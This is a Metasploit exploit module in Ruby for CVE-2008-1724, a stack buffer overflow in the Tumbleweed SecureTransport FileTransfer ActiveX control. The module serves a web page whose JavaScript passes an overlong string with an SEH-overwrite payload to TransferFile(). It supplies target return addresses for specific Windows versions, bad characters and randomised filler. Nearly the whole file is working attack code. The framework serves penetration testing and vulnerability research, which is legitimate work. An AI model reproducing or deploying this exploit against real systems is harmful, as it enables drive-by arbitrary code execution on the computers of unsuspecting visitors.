##
# $Id: tumbleweed_filetransfer.rb 9525 2010-06-15 07:18:08Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::Seh
def initialize(info = {})
super(update_info(info,
'Name' => 'Tumbleweed FileTransfer vcst_eu.dll ActiveX Control Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in the vcst_eu.dll
FileTransfer Module (1.0.0.5) ActiveX control in the Tumbleweed
SecureTransport suite. By sending an overly long string to the
TransferFile() 'remotefile' function, an attacker may be able
to execute arbitrary code.
},
'License' => MSF_LICENSE,
'Author' => 'patrick',
'Version' => '$Revision: 9525 $',
'References' =>
[
[ 'CVE', '2008-1724' ],
[ 'OSVDB', '44252' ],
[ 'URL', 'http://www.aushack.com/200708-tumbleweed.txt' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 1000,
'BadChars' => "\x00\x0a\x0d\x80\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0<>()\"\\",
},
'Platform' => 'win',
'Targets' =>
[
# Patrick - tested successfully against W2KSP0 EN, W2KSP4 EN, XPSP0 EN, 2007/08/17.
[ 'Universal vcst_eu.dll', { 'Ret' => 0x1001ee75 } ],
[ 'Windows 2000 Pro English', { 'Ret' => 0x75022ac4 } ],
[ 'Windows XP Pro SP0/SP1 English', { 'Ret' => 0x71aa32ad } ],
],
'DisclosureDate' => 'Apr 07 2008',
'DefaultTarget' => 0))
end
def on_request_uri(cli, request)
# Re-generate the payload
return if ((p = regenerate_payload(cli)) == nil)
# Randomize some things
vname = rand_text_alpha(rand(100) + 1)
vurl = rand_text_alpha(rand(100) + 1)
vhostName = rand_text_alpha(rand(100) + 1)
vlocalFile = rand_text_alpha(rand(100) + 1)
vMD5 = rand_text_alpha(rand(100) + 1)
# Build the exploit buffer
filler = rand_text_alpha(4620)
seh = generate_seh_payload(target.ret)
sploit = filler + seh
# Build out the message
content = %Q|
<html>
<object classid="CLSID:38681fbd-d4cc-4a59-a527-b3136db711d3" id="#{vname}"></object>
<script language="javascript">
#{vname}.TransferFile("#{vurl}", "#{vhostName}", "#{vlocalFile}", "#{sploit}", "#{vMD5}", false, false, 80, false, true, true, 420)
</script>
</html>
|
print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")
# Transmit the response to the client
send_response_html(cli, content)
# Handle the payload
handler(cli)
end
end